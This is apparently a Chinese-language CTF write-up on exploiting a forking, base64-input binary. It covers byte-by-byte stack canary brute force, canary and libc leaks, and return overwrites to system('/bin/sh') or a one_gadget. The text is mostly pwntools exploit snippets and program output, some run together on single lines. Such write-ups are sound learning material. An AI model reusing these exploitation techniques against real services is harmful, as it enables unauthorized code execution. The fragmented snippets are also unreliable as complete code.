for j inrange(3): #32位为‘3’,64位为‘7’ for i inrange(0x100): p.send( padding + canary + chr(i)) #从0~0xFF,依次注入 a = p.recvuntil('xxxx') if'xxxx'in a: canary += chr(i) break
重点就是这个“xxxx”写什么,程序的输出就只有这3种情况:
1.子进程正常结束:
1 2 3 4 5 6 7 8 9
May be I can know if you give me some data[Y/N] Y Give me some datas:
1233 Result is:�m� Finish!
May be I can know if you give me some data[Y/N]
2.子进程触发canary:
1 2 3 4 5 6 7 8 9
May be I can know if you give me some data[Y/N] Y Give me some datas:
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Result is:m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�ۻ��4� *** stack smashing detected ***: terminated
May be I can know if you give me some data[Y/N]
3.子进程报错:
1 2 3 4 5 6 7 8 9
May be I can know if you give me some data[Y/N] Y Give me some datas:
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb Something is wrong
p.recvuntil("May be I can know if you give me some data[Y/N]") p.sendline('Y') p.recvuntil("Give me some datas:\n") #注意:这里要多收集一个"\n" payload=b'a'*int(258*4/3) p.sendline(payload) p.recvline() canary =p.recv()[268:271] canary="\x00"+canary print("canary >> " +canary)
p.recvuntil("May be I can know if you give me some data[Y/N]") p.sendline('Y') p.recvuntil("Give me some datas:") payload = base64.b64encode('A'*257+canary+'A'*12+p32(puts_plt)+'A'*4+p32(setbuf_got)) #程序用base64对输入值进行了加密,所以这里需要进行解密 p.sendline(payload) print p.recv() recv= p.recv() print recv setbuf_addr = u32(recv[recv.rfind('AAAAAA')+7:recv.rfind('AAAAAA')+11]) print("setbuf_addr >> "+str(setbuf_addr))
p.recvuntil("May be I can know if you give me some data[Y/N]") p.sendline('Y') p.recvuntil("Give me some datas:") payload = base64.b64encode('A'*257+canary+'A'*12+p32(system_addr)+'A'*4+p32(binsh_addr)) p.sendline(payload)
payload = 'a'*0x102 io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload)) io.recvline() myCanary=io.recv()[268:271] Canary="\x00"+myCanary print"Canary:"+hex(u32(Canary))
payload = 'a'*0x151 io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload)) io.recvline() mylibc=io.recv()[347:351] #直接开gdb看出来的 base_libc=u32(mylibc)-0x18637 print"mylibc_addr:"+hex(base_libc)
MAGIC_addr=local_MAGIC+base_libc #这个MAGIC是one_gadget payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr) io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload))